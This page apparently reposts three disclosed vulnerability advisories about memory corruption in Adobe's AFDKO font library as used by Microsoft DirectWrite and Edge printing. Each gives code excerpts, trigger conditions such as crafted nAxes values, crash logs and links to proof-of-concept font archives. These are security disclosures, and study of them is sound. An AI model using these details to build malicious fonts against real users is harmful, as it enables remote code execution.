ISHACK AI BOT 发布的所有帖子
-
Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Negative cubeStackDepth
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The _t2cCtx structure defined in c/public/lib/source/t2cstr/t2cstr.c contains a "cube" array and a "cubeStackDepth" index: --- cut --- 84 int cubeStackDepth; 85 float transformMatrix[6]; 86 struct /* Stem hints */ 87 { 88 float start_x; /* Path x-coord at start of Cube library element processing */ 89 float start_y; /* Path y-coord at start of Cube library element processing */ 90 float offset_x; /* cube offset, to add to first moveto in cube library element (LE) */ 91 float offset_y; /* cube offset, to add to first moveto in cube library element (LE) */ 92 int nMasters; 93 int leIndex; 94 int composeOpCnt; 95 float composeOpArray[TX_MAX_OP_STACK_CUBE]; 96 double WV[kMaxCubeMasters]; /* Was originally just 4, to support substitution MM fonts. Note: the PFR rasterizer can support only up to 5 axes */ 97 } cube[CUBE_LE_STACKDEPTH]; --- cut --- The "cubeStackDepth" field is initially set to -1 in t2cParse(): --- cut --- 2534 h.cubeStackDepth = -1; --- cut --- The value shouldn't be used as an index if it is negative. When the tx_compose operation handler increments it to 0 or a larger value, it also sets the START_COMPOSE flag in h->flags. Most functions check the flag before using cubeStackDepth, for example: --- cut --- 529 /* Callback path move. */ 530 static void callbackMove(t2cCtx h, float dx, float dy) { 531 int flags; 532 float x, y; 533 534 if (h->flags & START_COMPOSE) { 535 /* We can tell that this is the first move-to of a flattened compare operator 536 with the START_COMPOSE flag. 537 dx and dy are the initial moveto values in the LE, usually 0 or a small value. 538 h->x and h->y are the current absolute position of the last point in the last path. 539 h->le_start.x,y are the LE absolute start position. 540 */ 541 x = dx + h->cube[h->cubeStackDepth].offset_x; 542 y = dy + h->cube[h->cubeStackDepth].offset_y; 543 h->cube[h->cubeStackDepth].offset_x = 0; 544 h->cube[h->cubeStackDepth].offset_y = 0; --- cut --- However, neither the do_set_weight_vector_cube() nor do_blend_cube() functions respect this requirement, and instead assume that cubeStackDepth is greater than 0 when they execute. Below are the first few lines of do_blend_cube(): --- cut --- 1054 /* Execute "blend" op. Return 0 on success else error code. */ 1055 static int do_blend_cube(t2cCtx h, int nBlends) { 1056 int i; 1057 int nElements = nBlends * h->cube[h->cubeStackDepth].nMasters; 1058 int iBase = h->stack.cnt - nElements; 1059 int k = iBase + nBlends; 1060 1061 if (h->cube[h->cubeStackDepth].nMasters <= 1) 1062 return t2cErrInvalidWV; --- cut --- The two affected functions subsequently read from and write to the out-of-bounds cube object at h->cube[-1]. In x64 builds of AFDKO, _t2cCtx.cube[-1] overlaps with the _t2cCtx.stack.blendArgs[92] structure, which is uninitialized in typical scenarios, but may also be user-controlled. This may lead to disclosure of uninitialized stack memory, or stack-based memory corruption and remote code execution. -----=====[ Proof of Concept ]=====----- The two proof of concept files trigger crashes in the standard "tx" tool compiled with AddressSanitizer and a slightly modified version of the afdko/c/public/lib/source/t2cstr/t2cstr.c file. Our patch adds ASAN redzones in between the fields of the t2cCtx structure, in order to make intra-object out-of-bounds accesses more visible. The PoCs invoke the do_set_weight_vector_cube() and do_blend_cube() functions without first executing a tx_compose instruction. The offending instruction streams are found in the CharStrings for letter "A". -----=====[ Crash logs ]=====----- Below, we present crash logs from the 64-bit "tx" tool compiled with ASAN and the redzone patch, run as ./tx -cff <path to font file>. For do_blend_cube.otf: --- cut --- ================================================================= ==96052==ERROR: AddressSanitizer: use-after-poison on address 0x7ffea1a88890 at pc 0x00000069e6e2 bp 0x7ffea1a46bb0 sp 0x7ffea1a46ba8 READ of size 4 at 0x7ffea1a88890 thread T0 #0 0x69e6e1 in do_blend_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:1057:58 #1 0x6855fd in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1857:38 #2 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18 #3 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14 #4 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9 #5 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18 #6 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #7 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #8 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #9 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #10 0x7fa93072e2b0 in __libc_start_main #11 0x41e5b9 in _start Address 0x7ffea1a88890 is located in stack of thread T0 at offset 241616 in frame #0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523 This frame has 2 object(s): [32, 757896) 'h' (line 2524) <== Memory access at offset 241616 is inside this variable [758160, 758376) 'Exception' (line 2586) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1057:58 in do_blend_cube Shadow bytes around the buggy address: 0x1000543490c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000543490d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000543490e0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000543490f0: f7 f7 00 f7 f7 f7 f7 00 00 00 00 00 00 00 00 00 0x100054349100: 00 00 00 00 00 00 00 f7 f7 f7 f7 00 00 00 00 00 =>0x100054349110: f7 f7[f7]f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x100054349120: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x100054349130: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x100054349140: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x100054349150: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x100054349160: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==96052==ABORTING --- cut --- Where the t2cstr.c:1057 line is: --- cut --- 1057 int nElements = nBlends * h->cube[h->cubeStackDepth].nMasters; --- cut --- Furthermore, for do_set_weight_vector_cube.otf: --- cut --- ================================================================= ==96231==ERROR: AddressSanitizer: use-after-poison on address 0x7ffe0355a7d8 at pc 0x00000069f2bb bp 0x7ffe0351b9d0 sp 0x7ffe0351b9c8 READ of size 4 at 0x7ffe0355a7d8 thread T0 #0 0x69f2ba in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:992:49 #1 0x6858f1 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1883:38 #2 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18 #3 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14 #4 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9 #5 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18 #6 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #7 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #8 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #9 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #10 0x7ffbfaea62b0 in __libc_start_main #11 0x41e5b9 in _start Address 0x7ffe0355a7d8 is located in stack of thread T0 at offset 241624 in frame #0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523 This frame has 2 object(s): [32, 757896) 'h' (line 2524) <== Memory access at offset 241624 is inside this variable [758160, 758376) 'Exception' (line 2586) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:992:49 in do_set_weight_vector_cube Shadow bytes around the buggy address: 0x1000406a34a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000406a34b0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000406a34c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000406a34d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 00 f7 f7 f7 f7 00 0x1000406a34e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f7 =>0x1000406a34f0: f7 f7 f7 00 00 00 00 00 f7 f7 f7[f7]f7 f7 f7 f7 0x1000406a3500: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000406a3510: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000406a3520: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000406a3530: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000406a3540: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==96231==ABORTING --- cut --- Where the t2cstr.c:992 line is: --- cut --- 992 int composeCnt = h->cube[h->cubeStackDepth].composeOpCnt; --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47087.zip
-
Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Negative nAxes
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The vulnerability resides in the do_set_weight_vector_cube() function in afdko/c/public/lib/source/t2cstr/t2cstr.c, whose prologue is shown below: --- cut --- 985 static int do_set_weight_vector_cube(t2cCtx h, int nAxes) { 986 float dx, dy; 987 int i = 0; 988 int j = 0; 989 int nMasters = 1 << nAxes; 990 float NDV[kMaxCubeAxes]; 991 int popCnt = nAxes + 3; 992 int composeCnt = h->cube[h->cubeStackDepth].composeOpCnt; 993 float *composeOps = h->cube[h->cubeStackDepth].composeOpArray; --- cut --- The "nAxes" argument may be controlled through the tx_SETWVN instruction: --- cut --- 1912 case tx_SETWVN: { 1913 int numAxes = (int)POP(); 1914 result = do_set_weight_vector_cube(h, numAxes); 1915 if (result || !(h->flags & FLATTEN_CUBE)) 1916 return result; --- cut --- Later in do_set_weight_vector_cube(), there is very little sanitization of "nAxes", and the function mostly assumes that the argument is valid. Setting it to a negative value will cause the following check to pass: --- cut --- 1022 if (composeCnt < (nAxes + 3)) 1023 return t2cErrStackUnderflow; --- cut --- which enables us to execute the rest of the function with "nMasters" equal to an arbitrary power of 2, and "popCnt" set to an arbitrary negative value. This may lead to stack-based out-of-bounds reads and writes in the following loops: --- cut --- 1028 /* Pop all the current COMPOSE args off the stack. */ 1029 for (i = popCnt; i < composeCnt; i++) 1030 composeOps[i - popCnt] = composeOps[i]; [...] 1039 1040 /* Compute Weight Vector */ 1041 for (i = 0; i < nMasters; i++) { 1042 h->cube[h->cubeStackDepth].WV[i] = 1; 1043 for (j = 0; j < nAxes; j++) 1044 h->cube[h->cubeStackDepth].WV[i] *= (i & 1 << j) ? NDV[j] : 1 - NDV[j]; 1045 } 1046 /* Pop all the current COMPOSE args off the stack. */ 1047 for (i = popCnt; i < composeCnt; i++) 1048 composeOps[i - popCnt] = composeOps[i]; --- cut --- -----=====[ Proof of Concept ]=====----- The proof of concept file calls do_set_weight_vector_cube(nAxes=-100000), causing AFDKO to perform largely out-of-bounds read/writes operations relative to the stack, which results in a SIGSEGV / ACCESS_VIOLATION crash of the client program in line 1030: --- cut --- 1028 /* Pop all the current COMPOSE args off the stack. */ 1029 for (i = popCnt; i < composeCnt; i++) 1030 composeOps[i - popCnt] = composeOps[i]; --- cut --- -----=====[ Crash logs ]=====----- Crash log of the "tx" 64-bit utility started as ./tx -cff <path to font file>: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x0000000000466f31 in do_set_weight_vector_cube (h=0x7ffffff60188, nAxes=-100000) at ../../../../../source/t2cstr/t2cstr.c:1030 1030 composeOps[i - popCnt] = composeOps[i]; (gdb) where #0 0x0000000000466f31 in do_set_weight_vector_cube (h=0x7ffffff60188, nAxes=-100000) at ../../../../../source/t2cstr/t2cstr.c:1030 #1 0x0000000000460f3f in t2Decode (h=0x7ffffff60188, offset=19147) at ../../../../../source/t2cstr/t2cstr.c:1914 #2 0x000000000045e224 in t2Decode (h=0x7ffffff60188, offset=23565) at ../../../../../source/t2cstr/t2cstr.c:1412 #3 0x000000000045cb26 in t2cParse (offset=23565, endOffset=23574, aux=0x7156e8, gid=2, cff2=0x715118, glyph=0x6fd6e8, mem=0x7150b8) at ../../../../../source/t2cstr/t2cstr.c:2591 #4 0x000000000041371f in readGlyph (h=0x710380, gid=2, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2927 #5 0x0000000000413495 in cfrIterateGlyphs (h=0x710380, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2966 #6 0x0000000000405f11 in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:151 #7 0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf17 "poc.otf") at ../../../../source/tx.c:429 #8 0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf17 "poc.otf") at ../../../../source/tx.c:488 #9 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558 #10 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631 (gdb) print i $1 = -99997 (gdb) print popCnt $2 = -99997 (gdb) print composeCnt $3 = 4 (gdb) --- cut --- Crash log from the Microsoft Edge renderer process: --- cut --- (4378.f50): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!do_set_weight_vector_cube+0x16a: 00007ff9`e87c0d82 8b01 mov eax,dword ptr [rcx] ds:0000000b`2decf988=???????? 0:038> u DWrite!do_set_weight_vector_cube+0x16a: 00007ff9`e87c0d82 8b01 mov eax,dword ptr [rcx] 00007ff9`e87c0d84 890491 mov dword ptr [rcx+rdx*4],eax 00007ff9`e87c0d87 488d4904 lea rcx,[rcx+4] 00007ff9`e87c0d8b 4883ef01 sub rdi,1 00007ff9`e87c0d8f 75f1 jne DWrite!do_set_weight_vector_cube+0x16a (00007ff9`e87c0d82) 00007ff9`e87c0d91 e900010000 jmp DWrite!do_set_weight_vector_cube+0x27e (00007ff9`e87c0e96) 00007ff9`e87c0d96 33d2 xor edx,edx 00007ff9`e87c0d98 4d8bd0 mov r10,r8 0:038> ? rsp Evaluate expression: 48015521648 = 0000000b`2df2b770 0:038> !teb TEB at 0000000b2b0ae000 ExceptionList: 0000000000000000 StackBase: 0000000b2df40000 StackLimit: 0000000b2df2a000 [...] 0:038> k # Child-SP RetAddr Call Site 00 0000000b`2df2b770 00007ff9`e87c2b1f DWrite!do_set_weight_vector_cube+0x16a 01 0000000b`2df2b800 00007ff9`e87c186e DWrite!t2Decode+0x15ab 02 0000000b`2df2b940 00007ff9`e87c4a62 DWrite!t2Decode+0x2fa 03 0000000b`2df2ba80 00007ff9`e87ac103 DWrite!t2cParse+0x28e 04 0000000b`2df3b3e0 00007ff9`e87ae3f7 DWrite!readGlyph+0x12b 05 0000000b`2df3b450 00007ff9`e87a2272 DWrite!cfrIterateGlyphs+0x37 06 0000000b`2df3b4a0 00007ff9`e873157a DWrite!AdobeCFF2Snapshot+0x19a 07 0000000b`2df3b9a0 00007ff9`e8730729 DWrite!FontInstancer::InstanceCffTable+0x212 08 0000000b`2df3bb80 00007ff9`e873039a DWrite!FontInstancer::CreateInstanceInternal+0x249 09 0000000b`2df3bda0 00007ff9`e8715a4e DWrite!FontInstancer::CreateInstance+0x192 0a 0000000b`2df3c100 00007ff9`f2df61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e 0b 0000000b`2df3c190 00007ff9`f2de9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 0c 0000000b`2df3c2b0 00007ff9`cd7750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8 0d 0000000b`2df3c300 00007ff9`cd74fcb0 edgehtml!CDXPrintControl::Close+0x44 0e 0000000b`2df3c350 00007ff9`cd7547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c 0f 0000000b`2df3c380 00007ff9`cd62b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 10 0000000b`2df3c3b0 00007ff9`cd289175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 11 0000000b`2df3c3f0 00007ff9`cf5368f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25 --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47088.zip
-
Microsoft DirectWrite / AFDKO - Stack-Based Buffer Overflow in do_set_weight_vector_cube for Large nAxes
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. In this specific case, setting the CFR_FLATTEN_CUBE flag while interacting with AFDKO is required to trigger the bug. According to our analysis, DirectWrite currently doesn't specify this flag, but it still contains the do_set_weight_vector_cube() function including the vulnerable code. In case the code can be reached in a way we haven't considered, or the CFR_FLATTEN_CUBE flag is ever added in the future, we have opted to report the bug despite its apparent unreachability at this time. -----=====[ Description ]=====----- The bug resides in the do_set_weight_vector_cube() function in afdko/c/public/lib/source/t2cstr/t2cstr.c, with the following definition: --- cut --- 985 static int do_set_weight_vector_cube(t2cCtx h, int nAxes) { --- cut --- The nAxes parameter can be controlled through the tx_SETWVN instruction: --- cut --- 1912 case tx_SETWVN: { 1913 int numAxes = (int)POP(); 1914 result = do_set_weight_vector_cube(h, numAxes); 1915 if (result || !(h->flags & FLATTEN_CUBE)) 1916 return result; --- cut --- The assumption is that the number of axes specified by the fon't won't be greater than 9, as specified by the kMaxCubeAxes constant in afdko/c/public/lib/resource/txops.h: --- cut --- 194 #define kMaxCubeAxes 9 --- cut --- However this assumption is never explicitly verified in do_set_weight_vector_cube(). As a result, if the FLATTEN_CUBE flag is set in h->flags, the following code will be executed: --- cut --- 989 int nMasters = 1 << nAxes; 990 float NDV[kMaxCubeAxes]; [...] 1035 while (i < nAxes) { 1036 NDV[i] = (float)((100 + (long)composeOps[3 + i]) / 200.0); 1037 i++; 1038 } 1039 1040 /* Compute Weight Vector */ 1041 for (i = 0; i < nMasters; i++) { 1042 h->cube[h->cubeStackDepth].WV[i] = 1; 1043 for (j = 0; j < nAxes; j++) 1044 h->cube[h->cubeStackDepth].WV[i] *= (i & 1 << j) ? NDV[j] : 1 - NDV[j]; 1045 } --- cut --- If nAxes larger than 9 is specified, the local NDV[] buffer will be overflown in line 1036, followed by another buffer overflow in lines 1042 and 1044, as the WV[] array only consists of 2**9 elements, but the loops will try to write 2**10 or a larger power of 2 of values. According to our observations, one of the biggest clients of AFDKO, Microsoft DirectWrite, doesn't set the CFR_FLATTEN_CUBE flag while interacting with the library, and is therefore not affected by the vulnerability (because it follows a different path to compose_callback). In the standard "tx" tool, the flag can be toggled on with the "-cubef" argument: --- cut --- -cubef flattens Cube source to a normal Type 1 font. Can be used with all output formats --- cut --- -----=====[ Proof of Concept ]=====----- The proof of concept file triggers the bug by using the tx_SETWVN instruction to call do_set_weight_vector_cube(nAxes=16) in the CharString of the "A" glyph. -----=====[ Crash logs ]=====----- A crash log from the "tx" tool compiled with AddressSanitizer, run as ./tx -cubef -cff <path to font file>: --- cut --- ================================================================= ==119029==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xff934174 at pc 0x083112cc bp 0xff934128 sp 0xff934120 WRITE of size 4 at 0xff934174 thread T0 #0 0x83112cb in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:1036:16 #1 0x82f4112 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1914:38 #2 0x82e4816 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1412:34 #3 0x82da1c4 in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18 #4 0x8194f84 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14 #5 0x8194131 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9 #6 0x8156184 in cfrReadFont afdko/c/tx/source/tx.c:151:18 #7 0x81556df in doFile afdko/c/tx/source/tx.c:429:17 #8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17 #10 0x814263f in main afdko/c/tx/source/tx.c:1631:9 #11 0xf7b9c275 in __libc_start_main #12 0x806a590 in _start Address 0xff934174 is located in stack of thread T0 at offset 52 in frame #0 0x83100ef in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:985 This frame has 1 object(s): [16, 52) 'NDV' (line 990) <== Memory access at offset 52 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow afdko/c/public/lib/source/t2cstr/t2cstr.c:1036:16 in do_set_weight_vector_cube Shadow bytes around the buggy address: 0x3ff267d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff267e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff267f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff26800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff26810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x3ff26820: 00 00 00 00 00 00 00 00 f1 f1 00 00 00 00[04]f3 0x3ff26830: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff26840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff26850: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff26860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ff26870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==119029==ABORTING --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47089.zip
-
Microsoft DirectWrite / AFDKO - Use of Uninitialized Memory While Freeing Resources in var_loadavar
